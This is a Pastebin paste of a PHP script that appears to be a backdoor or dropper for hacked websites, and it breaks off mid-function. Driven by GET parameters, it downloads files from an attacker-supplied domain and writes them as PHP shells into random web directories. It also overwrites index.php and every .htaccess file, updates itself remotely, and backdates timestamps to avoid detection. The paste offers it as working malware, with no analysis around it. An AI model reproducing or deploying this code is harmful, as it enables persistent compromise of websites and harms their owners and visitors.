Exxtazy

Untitled

Apr 12th, 2022
29
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 25.92 KB | None | 0 0
  1. <?php
  2.     error_reporting(0);
  3.     define('BASE_PATH',str_ireplace($_SERVER['PHP_SELF'],'',__FILE__));
  4.     function curl_get_contents($url){
  5.        $ch =curl_init();
  6.        curl_setopt($ch, CURLOPT_URL, $url);
  7.        curl_setopt($ch, CURLOPT_TIMEOUT,5);
  8.        curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1);
  9.        curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
  10.        $r = curl_exec($ch);
  11.        curl_close($ch);
  12.        return $r;
  13.     }
  14.     function check_remote_file_exists($url) {
  15.         $curl = curl_init($url);
  16.         curl_setopt($curl, CURLOPT_NOBODY, true);
  17.         curl_setopt($curl, CURLOPT_CUSTOMREQUEST, 'GET');
  18.         $result = curl_exec($curl);
  19.         $found = false;
  20.         if ($result !== false) {
  21.             $statusCode = curl_getinfo($curl, CURLINFO_HTTP_CODE);
  22.             if ($statusCode == 200) {
  23.                 $found = true;
  24.             }
  25.         }
  26.         curl_close($curl);
  27.         return $found;
  28.     }
  29.     function copyfiles($file1,$file2){
  30.         $contentx =@file_get_contents($file1);
  31.         $openedfile = @fopen($file2, "w");
  32.         @fwrite($openedfile, $contentx);
  33.         @fclose($openedfile);
  34.         if ($contentx === FALSE) {
  35.             $status=false;
  36.         }else $status=true;
  37.         return $status;
  38.     }
  39.     function read_dir_queue($dir,$level=5){
  40.         $files=array();
  41.         $files1=array();
  42.         $queue=array($dir);
  43.         while(@$data=each($queue)){
  44.             $path=$data['value'];
  45.             if(@is_dir($path) && @$handle=@opendir($path)){
  46.                 while($file=@readdir($handle)){
  47.                     $path3 = str_replace($_SERVER['DOCUMENT_ROOT'],"",$path);
  48.                     $path4 = explode("/",$path3);
  49.                     if(count($path4)>($level+1)){ break 2; }
  50.                     //if(count($files)>1000){ break 2; }
  51.                     if($file=='.'||$file=='..') continue;
  52.                     $files[] = $real_path=$path.'/'.$file;
  53.                     if (is_dir($real_path)) $queue[] = $real_path;
  54.                 }
  55.             }
  56.             @closedir($handle);
  57.         }
  58.         return $files;
  59.     }
  60.     function read_dir_queue1($dir,$level=5){
  61.         $files=array();
  62.         $files1=array();
  63.         $queue=array($dir);
  64.         while(@$data=each($queue)){
  65.             $path=$data['value'];
  66.             if(@is_dir($path) && @$handle=@opendir($path)){
  67.                 while($file=@readdir($handle)){
  68.                     $path3 = str_replace($_SERVER['DOCUMENT_ROOT'],"",$path);
  69.                     $path4 = explode("/",$path3);
  70.                     if(count($path4)>$level){ break 2; }
  71.                     //if(count($files)>1000){ break 2; }
  72.                     if($file=='.'||$file=='..') continue;
  73.                     $files[] = $real_path=$path.'/'.$file;
  74.                     if (is_dir($real_path)) $queue[] = $real_path;
  75.                 }
  76.             }
  77.             @closedir($handle);
  78.         }
  79.         return $files;
  80.     }
  81.     function rpath_arry($dir){
  82.         $files=array();
  83.         $queue=array($dir);
  84.         while(@$data=each($queue)){
  85.             $path=$data['value'];
  86.             if(@is_dir($path) && @$handle=@opendir($path)){
  87.                 while($file=@readdir($handle)){
  88.                     $path3 = str_replace($_SERVER['DOCUMENT_ROOT'],"",$path);
  89.                     $path4 = explode("/",$path3);
  90.                     //if(count($path4)>($level+1)){ break 2; }
  91.                     //if(count($files)>1000){ break 2; }
  92.                     if($file=='.'||$file=='..') continue;
  93.                     $files[] = $real_path=$path.'/'.$file;
  94.                     if (is_dir($real_path)) $queue[] = $real_path;
  95.                 }
  96.             }
  97.             @closedir($handle);
  98.         }
  99.         return $files;
  100.     }
  101.     function getInd_Content($base_path1){
  102.         $file_path = $base_path1.'/index.php';
  103.         $file_path1 = $base_path1.'/index.html';
  104.         $file_path2 = $base_path1.'/index.htm';
  105.         $file_path3 = $base_path1.'/default.html';
  106.    
  107.         if(file_exists($file_path)){
  108.             $str=@file_get_contents($file_path);
  109.             $shell_content1=  $str;
  110.             $shell_content2 = explode('?>',$shell_content1);
  111.             $shell_content3 = $shell_content1;
  112.             for($i=0;$i<count($shell_content2);$i++){
  113.                 if(strpos($shell_content2[$i],'base64_decode(') !== false || strpos($shell_content2[$i],'urldecode(') !== false || strpos($shell_content2[$i],'O00__0OOO_') !== false || strpos($shell_content2[$i],'yumingid') !== false || strpos($shell_content2[$i],'urlgz=') !== false || strpos($shell_content2[$i],'O0O_0O_O_0') !== false || strpos($shell_content2[$i],'wp-admin') !== false || strpos($shell_content2[$i],'ignore_user_abort') !== false || strpos($shell_content2[$i],'HTTP_REFERER') !== false || strpos($shell_content2[$i],'sitemap') !== false || strpos($shell_content2[$i],'$x(') !== false || strpos($shell_content2[$i],'$_GET["3x"]') !== false || strpos($shell_content2[$i],'error_reporting') !== false || strpos($shell_content2[$i],'ini_set(') !== false || strpos($shell_content2[$i],'ini_set(') !== false){
  114.                     $shell_content3=str_replace($shell_content2[$i]."?>","",$shell_content3);
  115.                 }
  116.             }
  117.             echo $shell_content3;
  118.             exit;
  119.         }else if(file_exists($file_path1)){
  120.             $str1=@file_get_contents($file_path1);
  121.             echo $str1;
  122.             exit;
  123.         }else if(file_exists($file_path2)){
  124.             $str2=@file_get_contents($file_path2);
  125.             echo $str2;
  126.             exit;
  127.         }else if(file_exists($file_path3)){
  128.             $str3=@file_get_contents($file_path3);
  129.             echo $str3;
  130.             exit;
  131.         }else{
  132.             echo '';
  133.             exit;
  134.         }
  135.     }
  136.     function dir_size1($dir3,$url){
  137.           $dh = @opendir($dir3);
  138.           $return = array();
  139.           while($file = @readdir($dh)){
  140.              if($file!='.' and $file!='..'){
  141.                 $filetime[] = date("Y-m-d H:i:s",filemtime($file));
  142.              }
  143.           }  
  144.           @closedir($dh);            
  145.           @array_multisort($filetime);
  146.           return $filetime;
  147.     }
  148.     $sig=@$_GET['sig'];
  149.     @$domain_2020='http://'.$_GET['domain'];
  150.     if($sig=='beima'){
  151.         $level = $_GET['level'];
  152.         $aPathes = @read_dir_queue($_SERVER['DOCUMENT_ROOT'],$level);
  153.         function getDepth($sPath) {
  154.             return substr_count($sPath, '/');
  155.         }
  156.         $aPathDepths = array_map('getDepth', $aPathes);
  157.         arsort($aPathDepths);
  158.         $arry1=array();
  159.         foreach ($aPathDepths as $iKey => $iDepth) {
  160.             $arry11 = str_replace(strtolower($_SERVER['DOCUMENT_ROOT']),"",strtolower($aPathes[$iKey]));
  161.             $arry11 = dirname($arry11);
  162.             $arry22 = explode("/",$arry11);
  163.             if(count($arry22)==$level){
  164.                 $arry1[] = dirname($aPathes[$iKey]);
  165.             }else{
  166.                 $arry1[] = dirname($aPathes[$iKey]);
  167.             }
  168.         }
  169.         $arry2= array_unique($arry1);
  170.         shuffle($arry2);
  171.         $rndKey = array_rand($arry2);
  172.         $create_path1 = $arry2[$rndKey];
  173.         $shell_file = $_GET['shell_file'];
  174.         $shell_source5 = $domain_2020."/".$shell_file.".html";
  175.         if(check_remote_file_exists($shell_source5) && $_GET['file_name']!=""){
  176.             $file_name = $_GET['file_name'];
  177.             if($file_name!=""){
  178.                 $shell_end5 = $create_path1.'/'.$file_name;
  179.             }else{
  180.                 $shell_end5 = $create_path1.'/style.php';
  181.             }
  182.             if(copyfiles($shell_source5,$shell_end5))
  183.             {
  184.                 if($_SERVER["HTTPS"] == "on")
  185.                 {
  186.                     $http1="https://";
  187.                 }else{
  188.                     $http1="http://";
  189.                 }
  190.                 if(!file_exists($shell_end5))
  191.                 {
  192.                     echo $http1.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF']."|"."file don't create success!";
  193.                     exit;
  194.                 }
  195.                 $time3=@dir_size1($shell_end5,'');
  196.                 $time4=strtotime($time3[0]);
  197.                 touch($shell_end5,$time4);
  198.                 $shell_end6 =$http1.$_SERVER["HTTP_HOST"].str_replace($_SERVER['DOCUMENT_ROOT'],'',$shell_end5);
  199.                 echo $shell_end6;
  200.             }else{
  201.                 $str6=@curl_get_contents($shell_source5);
  202.                 file_put_contents($shell_end5,$str6);
  203.                 if($_SERVER["HTTPS"] == "on")
  204.                 {
  205.                     $http1="https://";
  206.                 }else{
  207.                     $http1="http://";
  208.                 }
  209.                 if(!file_exists($shell_end5))
  210.                 {
  211.                     echo $http1.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF']."|"."file don't create success!";
  212.                     exit;
  213.                 }
  214.                 $time3=@dir_size1($shell_end5,'');
  215.                 $time4=strtotime($time3[0]);
  216.                 touch($shell_end5,$time4);
  217.                 $shell_end6 =$http1.$_SERVER["HTTP_HOST"].str_replace($_SERVER['DOCUMENT_ROOT'],'',$shell_end5);
  218.                 echo $shell_end6;
  219.             }
  220.         }
  221.         exit;
  222.     }else if($sig=='jc_other'){
  223.         $level = $_GET['level'];
  224.         $aPathes = read_dir_queue1($_SERVER['DOCUMENT_ROOT'],$level);
  225.         function getDepth($sPath) {
  226.             return substr_count($sPath, '/');
  227.         }
  228.         $aPathDepths = array_map('getDepth', $aPathes);
  229.         arsort($aPathDepths);
  230.         $arry1=array();
  231.         foreach ($aPathDepths as $iKey => $iDepth) {
  232.             $arry11 = str_replace(strtolower($_SERVER['DOCUMENT_ROOT']),"",strtolower($aPathes[$iKey]));
  233.             $arry11 = dirname($arry11);
  234.             $arry22 = explode("/",$arry11);
  235.             if(count($arry22)==$level){
  236.                 $arry1[] = dirname($aPathes[$iKey]);
  237.             }else{
  238.                 $arry1[] = dirname($aPathes[$iKey]);
  239.             }
  240.         }
  241.         $arry2= array_unique($arry1);
  242.         shuffle($arry2);
  243.         $rndKey = array_rand($arry2);
  244.         $create_path1 = $arry2[$rndKey];
  245.         $shell_file = $_GET['shell_file'];
  246.         $shell_source5 = $domain_2020."/".$shell_file.".html";
  247.         if(check_remote_file_exists($shell_source5) && $shell_file!=""){
  248.             $file_name = $_GET['file_name'];
  249.             if($file_name!=""){
  250.                 $shell_end5 = $create_path1.'/'.$file_name;
  251.             }else{
  252.                 $shell_end5 = $create_path1.'/style.php';
  253.             }
  254.             if(copyfiles($shell_source5,$shell_end5))
  255.             {
  256.                 if($_SERVER["HTTPS"] == "on")
  257.                 {
  258.                     $http1="https://";
  259.                 }else{
  260.                     $http1="http://";
  261.                 }
  262.                 if(!file_exists($shell_end5))
  263.                 {
  264.                     echo $http1.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF']."|"."file don't create success!";
  265.                     exit;
  266.                 }
  267.                 $time3=@dir_size1($shell_end5,'');
  268.                 $time4=strtotime($time3[0]);
  269.                 touch($shell_end5,$time4);
  270.                 $shell_end6 =$http1.$_SERVER["HTTP_HOST"].str_replace($_SERVER['DOCUMENT_ROOT'],'',$shell_end5);
  271.                 echo $shell_end6;
  272.             }else{
  273.                 $str6=@curl_get_contents($shell_source5);
  274.                 file_put_contents($shell_end5,$str6);
  275.                 if($_SERVER["HTTPS"] == "on")
  276.                 {
  277.                     $http1="https://";
  278.                 }else{
  279.                     $http1="http://";
  280.                 }
  281.                 if(!file_exists($shell_end5))
  282.                 {
  283.                     echo $http1.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF']."|"."file don't create success!";
  284.                     exit;
  285.                 }
  286.                 $time3=@dir_size1($shell_end5,'');
  287.                 $time4=strtotime($time3[0]);
  288.                 touch($shell_end5,$time4);
  289.                 $shell_end6 =$http1.$_SERVER["HTTP_HOST"].str_replace($_SERVER['DOCUMENT_ROOT'],'',$shell_end5);
  290.                 echo $shell_end6;
  291.             }
  292.         }
  293.         exit;
  294.     }else if($sig=='lock_index' || $sig=='plan_task'){
  295.         $level = $_GET['level'];
  296.         $aPathes = read_dir_queue1($_SERVER['DOCUMENT_ROOT'],$level);
  297.         function getDepth($sPath){
  298.             return substr_count($sPath, '/');
  299.         }
  300.         $aPathDepths = array_map('getDepth', $aPathes);
  301.         arsort($aPathDepths);
  302.         $arry1=array();
  303.         foreach ($aPathDepths as $iKey => $iDepth) {
  304.             $arry11 = str_replace(strtolower($_SERVER['DOCUMENT_ROOT']),"",strtolower($aPathes[$iKey]));
  305.             $arry11 = dirname($arry11);
  306.             $arry22 = explode("/",$arry11);
  307.             if(count($arry22)==$level){
  308.                 $arry1[] = dirname($aPathes[$iKey]);
  309.             }else{
  310.                 $arry1[] = dirname($aPathes[$iKey]);
  311.             }
  312.         }
  313.         $arry2= array_unique($arry1);
  314.         shuffle($arry2);
  315.         $rndKey = array_rand($arry2);
  316.         $create_path1 = $arry2[$rndKey];
  317.         $shell_file = $_GET['shell_file'];
  318.         $shell_source5 = $domain_2020."/".$shell_file.".html";
  319.         if(check_remote_file_exists($shell_source5) && $shell_file!=""){
  320.             $file_name = $_GET['file_name'];
  321.             if($file_name!=""){
  322.                 $shell_end5 = $create_path1.'/'.$file_name;
  323.             }else{
  324.                 $shell_end5 = $create_path1.'/style.php';
  325.             }
  326.             if(copyfiles($shell_source5,$shell_end5)){
  327.                 if($_SERVER["HTTPS"] == "on")
  328.                 {
  329.                     $http1="https://";
  330.                 }else{
  331.                     $http1="http://";
  332.                 }
  333.                 if(!file_exists($shell_end5))
  334.                 {
  335.                     echo $http1.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF']."|"."file don't create success!";
  336.                     exit;
  337.                 }
  338.                 //$time3=@dir_size1($shell_end5,'');
  339.                 $time4=strtotime('2020-03-09 12:03:05');
  340.                 touch($shell_end5,$time4);
  341.                 $shell_end6 =$http1.$_SERVER["HTTP_HOST"].str_replace($_SERVER['DOCUMENT_ROOT'],'',$shell_end5);
  342.                 echo $shell_end6;
  343.             }else{
  344.                 $str6=@curl_get_contents($shell_source5);
  345.                 file_put_contents($shell_end5,$str6);
  346.                 if($_SERVER["HTTPS"] == "on")
  347.                 {
  348.                     $http1="https://";
  349.                 }else{
  350.                     $http1="http://";
  351.                 }
  352.                 if(!file_exists($shell_end5))
  353.                 {
  354.                     echo $http1.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF']."|"."file don't create success!";
  355.                     exit;
  356.                 }
  357.                 //$time3=@dir_size1($shell_end5,'');
  358.                 $time4=strtotime('2020-03-09 12:03:05');
  359.                 touch($shell_end5,$time4);
  360.                 $shell_end6 =$http1.$_SERVER["HTTP_HOST"].str_replace($_SERVER['DOCUMENT_ROOT'],'',$shell_end5);
  361.                 echo $shell_end6;
  362.             }
  363.         }
  364.         exit;
  365.     }else if($sig=='jc_index'){
  366.         $domain_name1 = trim(str_replace("www.","",$_SERVER['SERVER_NAME']));
  367.         $shell_file = $_GET['shell_file'];
  368.         $file_path= BASE_PATH.'/index.php';
  369.         $file_path1 = $domain_2020.'/shell_index/'.$domain_name1.'/index.html';
  370.         //if(!check_remote_file_exists($file_path1)){
  371.             $ser_url1= $domain_2020."/cpa_ind5.php?dname1=".$domain_name1."&check_address1=http://".$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF']."&shell_file=".$shell_file."";
  372.             $file_contents_2=curl_get_contents($ser_url1);
  373.         //}
  374.         if(@$_SERVER["HTTPS"]=="on")
  375.         {
  376.             $http1="https://";
  377.         }else{
  378.             $http1="http://";
  379.         }
  380.         $tishi = $http1.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'];
  381.         $str1=@curl_get_contents($file_path1);
  382.         $str=@file_get_contents($file_path);
  383.         if(file_exists($file_path)){
  384.             if(check_remote_file_exists($file_path1)){
  385.                 $str1=@curl_get_contents($file_path1);
  386.                 $str=@file_get_contents($file_path);
  387.                 if($str==$str1){
  388.                      echo $tishi.'|index.php write success!';
  389.                 }else{
  390.                      //echo 'fail';
  391.                      @chmod($file_path,0644);
  392.                      $result_unlink=unlink($file_path);
  393.                      if($result_unlink){
  394.                          if(copyfiles($file_path1,$file_path))
  395.                          {
  396.                              $time3=dir_size1(dirname(__FILE__),'');
  397.                              $time4=strtotime($time3[0]);
  398.                              touch(dirname(__FILE__).'/'.basename(__FILE__),$time4);
  399.                              touch($file_path,$time4);
  400.                              echo $tishi.'|index.php write success!';
  401.                          }
  402.                          else
  403.                          {
  404.                             file_put_contents($file_path,$str1);
  405.                             $str1=@curl_get_contents($file_path1);
  406.                             $str=@file_get_contents($file_path);
  407.                             if($str==$str1){
  408.                                 $time3=dir_size1(dirname(__FILE__),'');
  409.                                 $time4=strtotime($time3[0]);
  410.                                 touch(dirname(__FILE__).'/'.basename(__FILE__),$time4);
  411.                                 touch($file_path,$time4);
  412.                                 echo $tishi.'|index.php write success!';
  413.                             }else{
  414.                                 echo $tishi.'|index.php write fail!';
  415.                             }
  416.                          }
  417.                      }  
  418.                 }
  419.             }
  420.         }else{
  421.             if(check_remote_file_exists($file_path1)){
  422.                 @chmod($file_path,0644);
  423.                 if(copyfiles($file_path1,$file_path))
  424.                 {
  425.                     $time3=dir_size1(dirname(__FILE__),'');
  426.                     $time4=strtotime($time3[0]);
  427.                     touch(dirname(__FILE__).'/'.basename(__FILE__),$time4);
  428.                     touch($file_path,$time4);
  429.                     echo $tishi.'|index.php write success!';
  430.                 }
  431.                 else
  432.                 {
  433.                     file_put_contents($file_path,$str1);
  434.                     $str1=@curl_get_contents($file_path1);
  435.                     $str=@file_get_contents($file_path);
  436.                     if($str==$str1){
  437.                         $time3=dir_size1(dirname(__FILE__),'');
  438.                         $time4=strtotime($time3[0]);
  439.                         touch(dirname(__FILE__).'/'.basename(__FILE__),$time4);
  440.                         touch($file_path,$time4);
  441.                         echo $tishi.'|index.php write success!';
  442.                     }else{
  443.                         echo $tishi.'|index.php write fail!';
  444.                     }
  445.                 }
  446.             }else{
  447.                 $shell_cont1 = getInd_Content(BASE_PATH);
  448.                 $shell_file = $_GET['shell_file'];
  449.                 $file_path1 = $domain_2020."/".$shell_file.".html";
  450.                 $shell_content = @curl_get_contents($file_path1);
  451.                 $shell_cont2 = substr_replace($shell_cont1,$shell_content,0,0);
  452.                 @file_put_contents($file_path,$shell_cont2);
  453.             }
  454.         }
  455.         exit;
  456.     }else if($sig=='change_hta'){
  457.         //define('BASE_PATH',str_replace('\\','/',realpath(dirname(__FILE__).'/../')));
  458.         //define('BASE_PATH',str_ireplace($_SERVER['PHP_SELF'],'',__FILE__));
  459.         $shell_source5 = $domain_2020."/htaccess.html";
  460.         $str7=@curl_get_contents($shell_source5);
  461.         if(strpos($str7,'<FilesMatch') !== false){ 
  462.             $file_htaccess = BASE_PATH.'/.htaccess';
  463.             if($_SERVER["HTTPS"] == "on")
  464.             {
  465.                 $http1="https://";
  466.             }else{
  467.                 $http1="http://";
  468.             }
  469.             $tishi = $http1.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'];
  470.            
  471.             if(file_exists($file_htaccess)){
  472.                 $result_unlink=unlink($file_htaccess);
  473.                 if($result_unlink){
  474.                     if(copyfiles($shell_source5,$file_htaccess)){
  475.                         echo $tishi.'|.htaccess write success!';
  476.                     }else{
  477.                         $str6=@curl_get_contents($shell_source5);
  478.                         $str=@file_get_contents($file_htaccess);
  479.                         file_put_contents($file_htaccess,$str6);
  480.                         if($str6==$str){
  481.                             echo $tishi.'|.htaccess write success!';
  482.                         }else{
  483.                             echo $tishi.'|.htaccess write fail!';
  484.                         }
  485.                     }
  486.                 }else{
  487.                     if(copyfiles($shell_source5,$file_htaccess)){
  488.                         echo $tishi.'|.htaccess write success!';
  489.                     }else{
  490.                         $str6=@curl_get_contents($shell_source5);
  491.                         $str=@file_get_contents($file_htaccess);
  492.                         file_put_contents($file_htaccess,$str6);
  493.                         if($str6==$str){
  494.                             echo $tishi.'|.htaccess write success!';
  495.                         }else{
  496.                             echo $tishi.'|.htaccess write fail!';
  497.                         }
  498.                     }
  499.                 }
  500.             }else{
  501.                 if(copyfiles($shell_source5,$file_htaccess)){
  502.                     echo $tishi.'|.htaccess write success!';
  503.                 }else{
  504.                     $str6=@curl_get_contents($shell_source5);
  505.                     $str=@file_get_contents($file_htaccess);
  506.                     file_put_contents($file_htaccess,$str6);
  507.                     if($str6==$str){
  508.                         echo $tishi.'|.htaccess write success!';
  509.                     }else{
  510.                         echo $tishi.'|.htaccess write fail!';
  511.                     }
  512.                 }
  513.             }
  514.         }else{
  515.             echo $tishi.'|htaccess.html file dont exist or the content is wrong!';
  516.         }
  517.         exit;
  518.     }else if($sig=='change_hta_all'){
  519.         //define('BASE_PATH',str_replace('\\','/',realpath(dirname(__FILE__).'/../')));
  520.         //define('BASE_PATH',str_ireplace($_SERVER['PHP_SELF'],'',__FILE__));
  521.         $shell_source5 = $domain_2020."/htaccess.html";
  522.         $str7=@curl_get_contents($shell_source5);
  523.         if(strpos($str7,'<FilesMatch') !== false){
  524.             $file_htaccess = BASE_PATH.'/.htaccess';
  525.             if($_SERVER["HTTPS"] == "on")
  526.             {
  527.                 $http1="https://";
  528.             }else{
  529.                 $http1="http://";
  530.             }
  531.             $tishi = $http1.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'];
  532.             if(file_exists($file_htaccess)){
  533.                 $result_unlink=unlink($file_htaccess);
  534.                 if($result_unlink){
  535.                     if(copyfiles($shell_source5,$file_htaccess)){
  536.                         echo $tishi.'|.htaccess write success!';
  537.                     }else{
  538.                         $str6=@curl_get_contents($shell_source5);
  539.                         $str=@file_get_contents($file_htaccess);
  540.                         file_put_contents($file_htaccess,$str6);
  541.                         if($str6==$str){
  542.                             echo $tishi.'|.htaccess write success!';
  543.                         }else{
  544.                             echo $tishi.'|.htaccess write fail!';
  545.                         }
  546.                     }
  547.                 }else{
  548.                     if(copyfiles($shell_source5,$file_htaccess)){
  549.                         echo $tishi.'|.htaccess write success!';
  550.                     }else{
  551.                         $str6=@curl_get_contents($shell_source5);
  552.                         $str=@file_get_contents($file_htaccess);
  553.                         file_put_contents($file_htaccess,$str6);
  554.                         if($str6==$str){
  555.                             echo $tishi.'|.htaccess write success!';
  556.                         }else{
  557.                             echo $tishi.'|.htaccess write fail!';
  558.                         }
  559.                     }
  560.                 }
  561.             }else{
  562.                 if(copyfiles($shell_source5,$file_htaccess)){
  563.                     echo $tishi.'|.htaccess write success!';
  564.                 }else{
  565.                     $str6=@curl_get_contents($shell_source5);
  566.                     $str=@file_get_contents($file_htaccess);
  567.                     file_put_contents($file_htaccess,$str6);
  568.                     if($str6==$str){
  569.                         echo $tishi.'|.htaccess write success!';
  570.                     }else{
  571.                         echo $tishi.'|.htaccess write fail!';
  572.                     }
  573.                 }
  574.             }
  575.            
  576.             $files1 = @rpath_arry($_SERVER['DOCUMENT_ROOT']);
  577.             $files2 =array();
  578.             for($k=0;$k<count($files1);$k++){
  579.                 $files2[]=dirname($files1[$k]);
  580.             }
  581.             $files3=array();
  582.             $files3 =array_filter(array_unique($files2));
  583.             foreach ($files3 as $key=>$value){
  584.                 if( $files3[$key]!= BASE_PATH){
  585.                     $file_htaccess1 = $files3[$key].'/.htaccess';
  586.                     //file_put_contents($file_htaccess1,$str7);
  587.                     copyfiles($shell_source5,$file_htaccess1);
  588.                     //echo $file_htaccess1.'--11<br />';
  589.                 }
  590.             }
  591.         }else{
  592.             echo $tishi.'|htaccess.html file dont exist or the content is wrong!';
  593.         }
  594.         exit;
  595.     }else if($sig=='rename'){
  596.         $rename = $_GET['rename'];
  597.         $source_name = $_GET['source_name'];
  598.         if($_GET['tag']!=''){
  599.             $tag='#'.$_GET['tag'];
  600.         }else{
  601.             $tag='';
  602.         }
  603.         if($rename!="" && $source_name!=""){
  604.             $rename_file = dirname(__FILE__).'/'.$rename;
  605.             $source_file = dirname(__FILE__).'/'.$source_name;
  606.             if($_SERVER["HTTPS"] == "on")
  607.             {
  608.                $http1="https://";
  609.             }else{
  610.                $http1="http://";
  611.             }
  612.             $rename_file1 = $http1.$_SERVER["HTTP_HOST"].str_replace(strtolower($_SERVER['DOCUMENT_ROOT']),'',strtolower($rename_file));
  613.             $source_file1 = $http1.$_SERVER["HTTP_HOST"].str_replace(strtolower($_SERVER['DOCUMENT_ROOT']),'',strtolower($source_file));
  614.             $rename_file1 = str_replace('\\','/',$rename_file1);
  615.             $source_file1 = str_replace('\\','/',$source_file1);
  616.             if(file_exists($source_file)){
  617.                 if(rename($source_file,$rename_file)){
  618.                     echo $rename_file1.$tag;
  619.                 }else{
  620.                     echo $source_file1.$tag.'| rename fail!';
  621.                 }
  622.             }else{
  623.                 echo $source_file1.$tag.'| no exists!';
  624.             }
  625.         }else{
  626.             echo $source_file1.$tag.'| rename fail!';
  627.         }
  628.         exit;
  629.     }else if($sig=='update'){
  630.         $style_2020=$domain_2020.'/style_2020.html';
  631.         $file_style=__FILE__;
  632.         if(check_remote_file_exists($style_2020)){
  633.             $str7=@curl_get_contents($style_2020);
  634.             if(strpos($str7,'domain_2020') !== false){ 
  635.                 if($_SERVER["HTTPS"] == "on")
  636.                 {
  637.                     $http1="https://";
  638.                 }else{
  639.                     $http1="http://";
  640.                 }
  641.                 $tishi = $http1.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'];
  642.                 if(copyfiles($style_2020,$file_style))
  643.                 {
  644.                     $time3=@dir_size1(dirname(__FILE__),'');
  645.                     $time4=strtotime($time3[0]);
  646.                     touch($file_style,$time4);
  647.                     echo $tishi.'--update success!';
  648.                 }else{
  649.                     $shell_cont5=@curl_get_contents($style_2020);
  650.                     $shell51=@file_put_contents($file_style,$shell_cont5);
  651.                     if($shell51>0){
  652.                         $time3=@dir_size1(dirname(__FILE__),'');
  653.                         $time4=strtotime($time3[0]);
  654.                         touch($file_style,$time4);
  655.                         echo $tishi.'--update success!';
  656.                     }else{
  657.                         echo $tishi.'--update fail!';
  658.                     }
  659.                 }
  660.             }  
  661.         }
  662.         exit;  
  663.     }else if($sig=='shell519'){
  664.         $rename = $_GET['file_name'];
  665.         $shell_file = $_GET['shell_file'];
  666.         if($rename!="" && $shell_file!=""){
  667.             $shell_source5= $domain_2020."/".$shell_file.".html";
  668.             if(check_remote_file_exists($shell_source5)){
  669.                 $level = $_GET['level'];
  670.                 $aPathes = @read_dir_queue($_SERVER['DOCUMENT_ROOT'],$level);
  671.                 function getDepth($sPath) {
  672.                     return substr_count($sPath, '/');
  673.                 }
  674.                 $aPathDepths = array_map('getDepth', $aPathes);
  675.                 arsort($aPathDepths);
  676.                 $arry1=array();
  677.                 foreach ($aPathDepths as $iKey => $iDepth) {
  678.                     $arry11 = str_replace(strtolower($_SERVER['DOCUMENT_ROOT']),"",strtolower($aPathes[$iKey]));
  679.                     $arry11 = dirname($arry11);
  680.                     $arry22 = explode("/",$arry11);
  681.                     if(count($arry22)==$level){
  682.                         $arry1[] = dirname($aPathes[$iKey]);
  683.                     }else{
  684.                         $arry1[] = dirname($aPathes[$iKey]);
  685.                     }
  686.                 }
  687.                 $arry2= array_filter(array_unique($arry1));
  688.                 shuffle($arry2);
  689.                 $rndKey = array_rand($arry2);
  690.                 $create_path1 = $arry2[$rndKey];
  691.                 $shell5=$create_path1.'/'.$rename;
  692.                 if($_SERVER["HTTPS"] == "on")
  693.                 {
  694.                     $http1="https://";
  695.                 }else{
  696.                     $http1="http://";
  697.                 }
  698.                 if(copyfiles($shell_source5,$shell5))
  699.                 {
  700.                     $time3=@dir_size1(dirname(__FILE__),'');
  701.                     $time4=strtotime($time3[0]);
  702.                     touch($shell5,$time4);
  703.                     echo $http1.$_SERVER["HTTP_HOST"].str_replace(BASE_PATH,"",$shell5).'--create success!';
  704.                 }
  705.                 else
  706.                 {
  707.                     $shell_cont5=@curl_get_contents($shell_source5);
  708.                     $shell51=@file_put_contents($shell5,$shell_cont5);
  709.                     if($shell51>0){
  710.                         $time3=@dir_size1(dirname(__FILE__),'');
  711.                         $time4=strtotime($time3[0]);
  712.                         touch($shell5,$time4);
  713.                         echo $http1.$_SERVER["HTTP_HOST"].str_replace(BASE_PATH,"",$shell5).'--create success!';
  714.                     }else{
  715.                         echo $http1.$_SERVER["HTTP_HOST"].str_replace(BASE_PATH,"",$shell5).'--create fail!';
  716.                     }
  717.                 }
  718.             }
  719.         }
  720.         exit;
  721.     }else if($sig=='index'){
  722.         $file_path = BASE_PATH.'/index.php';
  723.         $file_path1 = BASE_PATH.'/index.html';
  724.         $file_path2 = BASE_PATH.'/index.htm';
  725.         $file_path3 = BASE_PATH.'/default.html';
  726.    
  727.         if(file_exists($file_path)){
  728.             $str=@file_get_contents($file_path);
  729.             $shell_content1=  $str;
  730.             $shell_content2 = explode('?>',$shell_content1);
  731.             $shell_content3 = $shell_content1;
  732.             for($i=0;$i<count($shell_content2);$i++){
  733.                 if(strpos($shell_content2[$i],'base64_decode(') !== false || strpos($shell_content2[$i],'urldecode(') !== false || strpos($shell_content2[$i],'O00__0OOO_') !== false || strpos($shell_content2[$i],'yumingid') !== false || strpos($shell_content2[$i],'urlgz=') !== false || strpos($shell_content2[$i],'O0O_0O_O_0') !== false || strpos($shell_content2[$i],'wp-admin') !== false || strpos($shell_content2[$i],'ignore_user_abort') !== false || strpos($shell_content2[$i],'HTTP_REFERER') !== false || strpos($shell_content2[$i],'sitemap') !== false || strpos($shell_content2[$i],'$x(') !== false || strpos($shell_content2[$i],'$_GET["3x"]') !== false || strpos($shell_content2[$i],'error_reporting') !== false || strpos($shell_content2[$i],'ini_set(') !== false || strpos($shell_content2[$i],'ini_set(') !== false){
  734.                     $shell_content3=str_replace($shell_content2[$i]."?>","",$shell_content3);
  735.                 }
  736.             }
  737.             echo $shell_content3;
  738.             exit;
  739.         }else if(file_exists($file_path1)){
  740.             $str1=@file_get_contents($file_path1);
  741.             echo $str1;
  742.             exit;
  743.         }else if(file_exists($file_path2)){
  744.             $str2=@file_get_contents($file_path2);
  745.             echo $str2;
  746.             exit;
  747.         }else if(file_exists($file_path3)){
  748.             $str3=@file_get_contents($file_path3);
  749.             echo $str3;
  750.             exit;
  751.         }else{
  752.             echo '';
  753.             exit;
